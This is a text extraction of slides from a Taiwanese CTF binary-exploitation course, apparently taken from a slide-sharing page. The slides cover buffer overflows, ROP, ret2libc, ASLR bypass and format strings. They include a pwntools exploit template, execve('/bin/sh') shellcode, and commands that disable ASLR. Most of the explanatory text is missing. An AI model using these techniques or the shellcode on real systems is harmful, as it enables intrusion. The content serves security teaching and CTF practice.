PWN Basic II
….
PWN )
QAQ
<(_ _)>
• Ubuntu VM
• practices.tar.gz
PWN
PWN CTF
CTF
• IP port
•
Overflow
btw…
btw..
Overflow
Overflow
....... ?
Outline
• Buffer Overflow
• ROP ( Return Oriented Programing )
• ret2libc
• ret2text

• gadgets

• format string vulnerability
• CTF ( Attack & Defense )
Buffer Overflow
TDOH x 台科 pwn課程
x86 Stack Layout
buffer >>
EBP
Return Address
Arg 1
Arg 2
…
EBP
EBP + 0x04
EBP + 0x08
EBP + 0x0C
EBP - 0x04
EBP - 0x08
Buffer Overflow
void Function( arg1, arg2 ) {
char buffer[16];
…
…
scanf(“%s”, &buffer);
…
…
}
push ebp
mov ebp, esp
sub ebp, 0x10
…
…
———>
———>
buffer
EBP
Return Address
arg1
arg2
…
EBP
EBP + 0x04
EBP + 0x08
EBP + 0x0C
EBP - 0x04
EBP - 0x08
———>
EBP - 0x0C
EBP - 0x10
Buffer Overflow
void Function( arg1, arg2 ) {
char buffer[16];
…
…
scanf(“%s”, &buffer);
…
…
}
———>
AAAAAA AAAAAA AAAAAA AAAAAA
AAAAAA AAAAAA AAAAAA AAAAAA
AAAAAA AAAAAA AAAAAA AAAAAA
AAAAAA AAAAAA AAAAAA AAAAAA
AAAAAA AAAAAA AAAAAA AAAAAA
AAAAAA AAAAAA AAAAAA AAAAAA
AAAAAA AAAAAA AAAAAA AAAAAA
AAAAAA AAAAAA AAAAAA AAAAAA
AAAAAA AAAAAA AAAAAA AAAAAA
Buffer Overflow
Buffer Overflow
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
…
EBP
EBP + 0x04
EBP + 0x08
EBP + 0x0C
EBP - 0x04
EBP - 0x08
EBP - 0x0C
EBP - 0x10
Buffer Overflow
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
…
EBP
EBP + 0x04
EBP + 0x08
EBP + 0x0C
EBP - 0x04
EBP - 0x08
EBP - 0x0C
EBP - 0x10
buffer
EBP
Return Address
arg1
arg2
…
EBP
EBP + 0x04
EBP + 0x08
EBP + 0x0C
EBP - 0x04
EBP - 0x08
EBP - 0x0C
EBP - 0x10
Before After
Buffer OverflowBuffer Overflow
…
…
leave
ret
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
…
ESP >>
Buffer Overflow
ret = pop eip
jmp AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
…
ESP >>
Control EIP ?
Buffer Overflow
Practice #1
Practice #1
Step #1
• Return Address ?
• buffer
•
• pwntools (http://pwntools.com/)
Step #2
•
Step #3
from pwn import *
r = process('./pratice1')
eip =
payload = 'a' * + p32(eip)
r.sendline(payload)
r.interactive()
system(“/bin/sh”)
TDOH x 台科 pwn課程
AAAA
AAAA
AAAA
AAAA
AAAA
0x8000f04 or -> jmp esp
shellcode
…
0x8000f00
0x8000f04
0x8000f08
0x8000ffc
0x8000ff8
0x8000ff4
0x8000ff0
0x8000fec
Buffer Overflow
Practice #2
Step #1
Find Return Address
Step #2
• Stack
• gdb ? gdb stack
• coredump

$ ulimit -c unlimited

$ sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/
core_pattern’
• jmp esp
Step #2
Step #2
jmp esp ?
Step #3
ShellCode
ShellCode
nasm DIY
scanf
0x0b 0x0a 0x00 … etc
shellcode
Step #3Step #3
08048062 <starter>:
8048062: 31 c0 xor eax,eax
8048064: 40 inc eax
8048065: 40 inc eax
8048066: 40 inc eax
8048067: 40 inc eax
8048068: 40 inc eax
8048069: 40 inc eax
804806a: 40 inc eax
804806b: 40 inc eax
804806c: 40 inc eax
804806d: 40 inc eax
804806e: 40 inc eax
804806f: 31 c9 xor ecx,ecx
8048071: 51 push ecx
8048072: 68 2f 2f 73 68 push 0x68732f2f
8048077: 68 2f 62 69 6e push 0x6e69622f
804807c: 89 e3 mov ebx,esp
804807e: 31 d2 xor edx,edx
8048080: cd 80 int 0x80
ebx = “bin/shx00”
ecx= 0
eax= 11
edx = 0
execve
Step #3
shellcode =
“x31xc0x40x40”
“x40x40x40x40”
“x40x40x40x40”
“x40x31xc9x51”
“x68x2fx2fx73”
“x68x68x2fx62”
“x6ex89xe3x31”
“xd2xcdx80”
Step #4
• payload = 



‘a’ * ?? + stack_address + shellcode
• Write Exploit ~~~
TDOH x 台科 pwn課程
DEP
Data Execution Prevention
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程
aaaa
aaaa
aaaa
aaaa
aaaa
0xffffcff4
Shell Code
…
0xffffcff0
0xffffcff4
0xffffcff8
0xffffcfe8
0xffffcfec
0xffffcfe4
0xffffcfe0
0xffffcfdc
ShellCode
Stack ...
Stack RRRRRRRRRRR
ROP
Return Oriented Programing
ROP
ret ret
ROP
ret
ret
ret
ret
ret
ret
ret
…
ROP
ROP
ROP
ret2libc
DEP return stack
return
libc.so
system(“/bin/sh”);
system(“bin/sh”);
ROP - ret2libc
ROP - ret2libc
aaaa
aaaa
aaaa
aaaa
aaaa
system
fake ret address
“/bin/sh”
0xffffcff0
0xffffcff4
0xffffcff8
0xffffcfe8
0xffffcfec
0xffffcfe4
0xffffcfe0
0xffffcfdc
0xffffcffc
<— return system
<- return
<- system “/bin/sh”
Practice #3
Step #1
Find Return Address
Step #2
• system ?
• “/bin/sh” ?
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Step #3
• Write Payload
aaaa
aaaa
aaaa
aaaa
aaaa
system addr
fake ret address
“/bin/sh”
ROP
ret2text
return code / plt
PIE text
static link Code
ROP gadgets
ROP - gadgets
pop edx
ret
xor eax,eax
ret
push esp
ret
mov eax,ebx
ret
ROP - gadgets
R/W Register:
pop eax
ret
R/W Memory:
pop edx
pop eax
mov [eax],edx
ret
Logical Operation:
xor eax,eax
and eax,ecx
ROP chain
pop edx
ret
pop eax
ret
0x080481c9
controll edx
0x08043a24
controll eax
...
...
0x080481c9
0x08043a24
...
ret
ROP - gadgets
gadgets?
ROP - gadgets
ROP - gadgets
ROPgadget.py



https://github.com/JonathanSalwan/ROPgadget
ROPgadget.py
• ret gadgets
• ROP chain
Practice #4
• ROPgadget
• objdump -d filename
• | less less
TDOH x 台科 pwn課程
ASLR
Address Space Layout Randomization
ASLR
Stack

Heap

Shared Libary



…….
libc
ASLR
• cat /proc/<pid>/maps section
• ASLR shared
lib stack heap
TDOH x 台科 pwn課程
....
system
“/bin/sh”
aaaa
aaaa
aaaa
aaaa
aaaa
system
fake ret address
“/bin/sh”
0xffffcff0
0xffffcff4
0xffffcff8
0xffffcfe8
0xffffcfec
0xffffcfe4
0xffffcfe0
0xffffcfdc
0xffffcffc
ASLR
ASLR
libc gadgets….
...libc
ASLR
?
system
• Libc
• Libc
• got.plt
•
system…
• oveflow binary puts write
fwrite …… got stdout
• got
• system ‘bin/sh’
• overflow
system(“/bin/sh”)
aaaaaaaaaa….
plt_write
vulner_function
0
got_write
4
aaaaaaaaaa….
system
0
&“bin/sh”
Practice #5
• pwntools ELF binary
• pwntools ELF.symbol[func_name] plt
• pwntools ELF.got[function_name] got
• puts leak got
• system ”bin/sh”
format string
Vulnerability
... ... XD
scanf printf
printf
scanf
...
printf format String
%n
..?
%n
•
• Ex.
• printf(“12345%n”, &a):
• 5 a
• format String %n
• %hn %hhn
• %n 4 byte (int)
• %hn 2 byte (short)
• %hhn 1 byte (byte)
....
3
TDOH x 台科 pwn課程
payload der
(X
IOWrapper
IO Wrapper
•
•
• flag
•
• der
IO Wrapper
• printf puts …… etc
• scanf gets ...... etc







/
IO Wrapper
IO Wrapper Process 1
Process 2
Process …
execvp
socket server
IO Wrapper
• ?
• fork()
• pid_t pid = fork();



if ( pid == 0 ) {

/* sub process */

execvpe(…);



} else {

/* parent */

}

IO Wrapper
• stdin/stdout ?
• pipe
• pipe : pipe() dup2()
IO Wrapper
• while ( true ) {



fread(stdin, ….. );

/* may blocked */



fwrite(stdin_of_sub_process,…..);



fread(stdin, ….. );

/* may blocked */



fwrite(stdout, …..);



}
IO
Blocked
select
IO Wrapper
• select() and pselect() allow a program to monitor
multiple file descriptors, waiting until one or more of
the file descriptors become "ready" for some class
of I/O operation (e.g., input possible). A file
descriptor is considered ready if it is possible to
perform a corresponding I/O operation (e.g.,
read(2) without blocking, or a sufficiently small
write(2)).
http://man7.org/linux/man-pages/man2/select.2.html
TDOH x 台科 pwn課程
• file descriptor (fd) fd
• blocked
select 



fd
select 

http://goo.gl/RKIOeO
LD_PRELOAD
LD_PRELOAD
• LD_PRLOAD
• library
•
LD_PRELOAD
• mylib.c
#include <stddef.h>
#include <stdio.h>
int puts(const char * str) {
/* */
}
LD_PRELOAD
• main.c
#include <stdlib.h>
#include <stdio.h>
void main(int argc,char * argv[]) {
puts(“Hello World”);
}
LD_PRELOAD
• $ gcc -Wall -fpic -shared -o mylib.so mylib.c
• $ gcc -o main main.c
• $ LD_PRELOAD=./mylib.so
• $ ./main
<(_ _)>
Reference
• http://drops.wooyun.org/tips/6597
• AIS3 Binary Exploit
• http://pwntools.readthedocs.org/en/latest/
dynelf.html
• http://www.slideshare.net/hackstuff/rop-40525248

More Related Content

PDF
Pwning in c++ (basic)
PDF
台科逆向簡報
PDF
Linux Binary Exploitation - Stack buffer overflow
PDF
ROP 輕鬆談
PDF
Advanced heap exploitaion
PDF
Linux binary Exploitation - Basic knowledge
PDF
Binary exploitation - AIS3
PDF
Linux Binary Exploitation - Return-oritend Programing
Pwning in c++ (basic)
台科逆向簡報
Linux Binary Exploitation - Stack buffer overflow
ROP 輕鬆談
Advanced heap exploitaion
Linux binary Exploitation - Basic knowledge
Binary exploitation - AIS3
Linux Binary Exploitation - Return-oritend Programing

What's hot (20)

PDF
Heap exploitation
PDF
Windows 10 Nt Heap Exploitation (English version)
PDF
逆向工程入門
PDF
Linux Binary Exploitation - Heap Exploitation
PDF
Play with FILE Structure - Yet Another Binary Exploit Technique
PDF
qemu + gdb: The efficient way to understand/debug Linux kernel code/data stru...
PDF
Windows 10 Nt Heap Exploitation (Chinese version)
PDF
Sigreturn Oriented Programming
PDF
Tcache Exploitation
PDF
Building ClickHouse and Making Your First Contribution: A Tutorial_06.10.2021
PDF
semaphore & mutex.pdf
PDF
Kernel Recipes 2017 - Understanding the Linux kernel via ftrace - Steven Rostedt
PDF
[131]해커의 관점에서 바라보기
PDF
Linux Performance Analysis: New Tools and Old Secrets
PPTX
password cracking using John the ripper, hashcat, Cain&abel
PDF
NTUSTxTDOH - Pwn基礎 2015/12/27
PDF
Klee and angr
PDF
Vmlinux: anatomy of bzimage and how x86 64 processor is booted
PDF
Network Programming: Data Plane Development Kit (DPDK)
PPTX
qemu + gdb + sample_code: Run sample code in QEMU OS and observe Linux Kernel...
Heap exploitation
Windows 10 Nt Heap Exploitation (English version)
逆向工程入門
Linux Binary Exploitation - Heap Exploitation
Play with FILE Structure - Yet Another Binary Exploit Technique
qemu + gdb: The efficient way to understand/debug Linux kernel code/data stru...
Windows 10 Nt Heap Exploitation (Chinese version)
Sigreturn Oriented Programming
Tcache Exploitation
Building ClickHouse and Making Your First Contribution: A Tutorial_06.10.2021
semaphore & mutex.pdf
Kernel Recipes 2017 - Understanding the Linux kernel via ftrace - Steven Rostedt
[131]해커의 관점에서 바라보기
Linux Performance Analysis: New Tools and Old Secrets
password cracking using John the ripper, hashcat, Cain&abel
NTUSTxTDOH - Pwn基礎 2015/12/27
Klee and angr
Vmlinux: anatomy of bzimage and how x86 64 processor is booted
Network Programming: Data Plane Development Kit (DPDK)
qemu + gdb + sample_code: Run sample code in QEMU OS and observe Linux Kernel...
Ad

Viewers also liked (20)

PPTX
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
PDF
Ctf hello,world!
PDF
TDOH 南區 WorkShop 2016 Reversing on Windows
PDF
CTF 經驗分享
PDF
HITCON GIRLS 成大講座 惡意程式分析(Turkey)
PDF
防毒擋不住?勒索病毒猖獗與實作
PDF
HITCON GIRLS 成大講座 基礎知識(蜘子珣)
PDF
開發學校雲端服務的奇技淫巧(Tips for Building Third-Party School Service)
PDF
2010 b5 spam source detection at home
PDF
2012 the botnet traffic forensics system
PDF
2013 the current methodologies for apt malware traffic detection
PDF
Some things before network attack
PPTX
PHDAYS: DGAs and Threat Intelligence
PDF
Malware classification and traceability
PDF
Some things about LAN device detection
PPTX
Static Code Analysis 靜態程式碼分析
PPTX
資訊安全入門
PDF
勒索軟體態勢與應措
PPTX
網站自動化測試
PDF
台科大網路鑑識課程 封包分析及中繼站追蹤
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
Ctf hello,world!
TDOH 南區 WorkShop 2016 Reversing on Windows
CTF 經驗分享
HITCON GIRLS 成大講座 惡意程式分析(Turkey)
防毒擋不住?勒索病毒猖獗與實作
HITCON GIRLS 成大講座 基礎知識(蜘子珣)
開發學校雲端服務的奇技淫巧(Tips for Building Third-Party School Service)
2010 b5 spam source detection at home
2012 the botnet traffic forensics system
2013 the current methodologies for apt malware traffic detection
Some things before network attack
PHDAYS: DGAs and Threat Intelligence
Malware classification and traceability
Some things about LAN device detection
Static Code Analysis 靜態程式碼分析
資訊安全入門
勒索軟體態勢與應措
網站自動化測試
台科大網路鑑識課程 封包分析及中繼站追蹤
Ad

Similar to TDOH x 台科 pwn課程 (20)

PDF
Unix executable buffer overflow
PDF
Buffer overflow tutorial
PDF
Format String Exploitation
PPTX
Tranning-2
PDF
Dive into exploit development
PDF
Shellcode Disassembling - Reverse Engineering
PDF
Exploitation Crash Course
PDF
Return Oriented Programming, an introduction
PPTX
Operating system enhancements to prevent misuse of systems
PPTX
Smashing The Stack
PDF
NDC TechTown 2023_ Return Oriented Programming an introduction.pdf
PDF
Linux Shellcode disassembling
PDF
Shellcoding in linux
PPTX
Software to the slaughter
PDF
Computer Security
PPTX
Buffer Overflow by SecArmour
ODP
Code Red Security
PPTX
Steelcon 2014 - Process Injection with Python
PDF
Low Level Exploits
PDF
A CTF Hackers Toolbox
Unix executable buffer overflow
Buffer overflow tutorial
Format String Exploitation
Tranning-2
Dive into exploit development
Shellcode Disassembling - Reverse Engineering
Exploitation Crash Course
Return Oriented Programming, an introduction
Operating system enhancements to prevent misuse of systems
Smashing The Stack
NDC TechTown 2023_ Return Oriented Programming an introduction.pdf
Linux Shellcode disassembling
Shellcoding in linux
Software to the slaughter
Computer Security
Buffer Overflow by SecArmour
Code Red Security
Steelcon 2014 - Process Injection with Python
Low Level Exploits
A CTF Hackers Toolbox

Recently uploaded (20)

PDF
Journal of Dental Science - UDMY (2020).pdf
PDF
LEARNERS WITH ADDITIONAL NEEDS ProfEd Topic
PDF
Climate and Adaptation MCQs class 7 from chatgpt
PDF
LIFE & LIVING TRILOGY- PART (1) WHO ARE WE.pdf
PDF
International_Financial_Reporting_Standa.pdf
PDF
Literature_Review_methods_ BRACU_MKT426 course material
PDF
BP 704 T. NOVEL DRUG DELIVERY SYSTEMS (UNIT 2).pdf
PDF
Complications of Minimal Access-Surgery.pdf
PDF
BP 704 T. NOVEL DRUG DELIVERY SYSTEMS (UNIT 1)
PPTX
Share_Module_2_Power_conflict_and_negotiation.pptx
PDF
BP 505 T. PHARMACEUTICAL JURISPRUDENCE (UNIT 1).pdf
PDF
Race Reva University – Shaping Future Leaders in Artificial Intelligence
PDF
AI-driven educational solutions for real-life interventions in the Philippine...
PPTX
Education and Perspectives of Education.pptx
PDF
Journal of Dental Science - UDMY (2021).pdf
PDF
1.3 FINAL REVISED K-10 PE and Health CG 2023 Grades 4-10 (1).pdf
PPTX
Computer Architecture Input Output Memory.pptx
PPTX
Introduction to pro and eukaryotes and differences.pptx
PPTX
ELIAS-SEZIURE AND EPilepsy semmioan session.pptx
PDF
Τίμαιος είναι φιλοσοφικός διάλογος του Πλάτωνα
Journal of Dental Science - UDMY (2020).pdf
LEARNERS WITH ADDITIONAL NEEDS ProfEd Topic
Climate and Adaptation MCQs class 7 from chatgpt
LIFE & LIVING TRILOGY- PART (1) WHO ARE WE.pdf
International_Financial_Reporting_Standa.pdf
Literature_Review_methods_ BRACU_MKT426 course material
BP 704 T. NOVEL DRUG DELIVERY SYSTEMS (UNIT 2).pdf
Complications of Minimal Access-Surgery.pdf
BP 704 T. NOVEL DRUG DELIVERY SYSTEMS (UNIT 1)
Share_Module_2_Power_conflict_and_negotiation.pptx
BP 505 T. PHARMACEUTICAL JURISPRUDENCE (UNIT 1).pdf
Race Reva University – Shaping Future Leaders in Artificial Intelligence
AI-driven educational solutions for real-life interventions in the Philippine...
Education and Perspectives of Education.pptx
Journal of Dental Science - UDMY (2021).pdf
1.3 FINAL REVISED K-10 PE and Health CG 2023 Grades 4-10 (1).pdf
Computer Architecture Input Output Memory.pptx
Introduction to pro and eukaryotes and differences.pptx
ELIAS-SEZIURE AND EPilepsy semmioan session.pptx
Τίμαιος είναι φιλοσοφικός διάλογος του Πλάτωνα

TDOH x 台科 pwn課程